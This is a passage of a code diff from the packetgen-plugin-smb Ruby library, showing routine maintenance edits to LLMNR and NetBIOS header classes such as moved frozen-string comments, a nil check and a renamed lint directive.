def initialize(args={})
|
107
113
|
token = args.delete(:token)
|
@@ -113,14 +119,14 @@ module PacketGen::Plugin
|
|
113
119
|
# @param [String] str
|
114
120
|
# @return [self]
|
115
121
|
def read(str)
|
122
|
+
return self if str.nil?
|
123
|
+
|
116
124
|
parse!(str, ber: true)
|
117
125
|
self
|
118
126
|
end
|
119
127
|
|
120
|
-
|
121
|
-
|
122
|
-
def sz
|
123
|
-
to_der.size
|
128
|
+
def to_human
|
129
|
+
inspect
|
124
130
|
end
|
125
131
|
|
126
132
|
alias to_s to_der
|
@@ -1,10 +1,10 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
1
3
|
# This file is part of packetgen-plugin-smb.
|
2
4
|
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
3
5
|
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
4
6
|
# This program is published under MIT license.
|
5
7
|
|
6
|
-
# frozen_string_literal: true
|
7
|
-
|
8
8
|
module PacketGen::Plugin
|
9
9
|
# Link-Local Multicast Name Resolution (LLMNR) header ({https://tools.ietf.org/html/rfc4795 RFC 4795}).
|
10
10
|
# @author Sylvain Daubert
|
@@ -43,13 +43,13 @@ module PacketGen::Plugin
|
|
43
43
|
ip.dst = dst unless dst.nil?
|
44
44
|
ip.ttl = 1 if ip[:dst].mcast?
|
45
45
|
|
46
|
-
# rubocop:disable Lint/
|
46
|
+
# rubocop:disable Lint/SuppressedException
|
47
47
|
begin
|
48
48
|
llh = ll_header(self)
|
49
49
|
llh.dst = MAC_IPV4_MCAST if ip[:dst].mcast?
|
50
50
|
rescue PacketGen::FormatError
|
51
51
|
end
|
52
|
-
# rubocop:enable Lint/
|
52
|
+
# rubocop:enable Lint/SuppressedException
|
53
53
|
end
|
54
54
|
end
|
55
55
|
PacketGen::Header.add_class LLMNR
|
@@ -1,15 +1,15 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
1
3
|
# This file is part of PacketGen
|
2
4
|
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
3
5
|
# Copyright (C) 2016 Sylvain Daubert <sylvain.daubert@laposte.net>
|
4
6
|
# This program is published under MIT license.
|
5
7
|
|
6
|
-
# frozen_string_literal: true
|
7
|
-
|
8
8
|
module PacketGen::Plugin
|
9
9
|
# Module to group all NetBIOS headers
|
10
10
|
# @author Sylvain Daubert
|
11
11
|
module NetBIOS
|
12
|
-
# NetBIOS
|
12
|
+
# NetBIOS Datagram Service messages.
|
13
13
|
# @author Sylvain Daubert
|
14
14
|
class Datagram < PacketGen::Header::Base
|
15
15
|
# Give protocol name
|
@@ -1,13 +1,13 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
1
3
|
# This file is part of PacketGen
|
2
4
|
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
3
5
|
# Copyright (C) 2016 Sylvain Daubert <sylvain.daubert@laposte.net>
|
4
6
|
# This program is published under MIT license.
|
5
7
|
|
6
|
-
# frozen_string_literal: true
|
7
|
-
|
8
8
|
module PacketGen::Plugin
|
9
|
-
|
10
|
-
|
9
|
+
# Module to group all NetBIOS headers
|
10
|
+
# @author Sylvain Daubert
|
11
11
|
module NetBIOS
|
12
12
|
# NetBIOS Name.
|
13
13
|
# @author Sylvain Daubert
|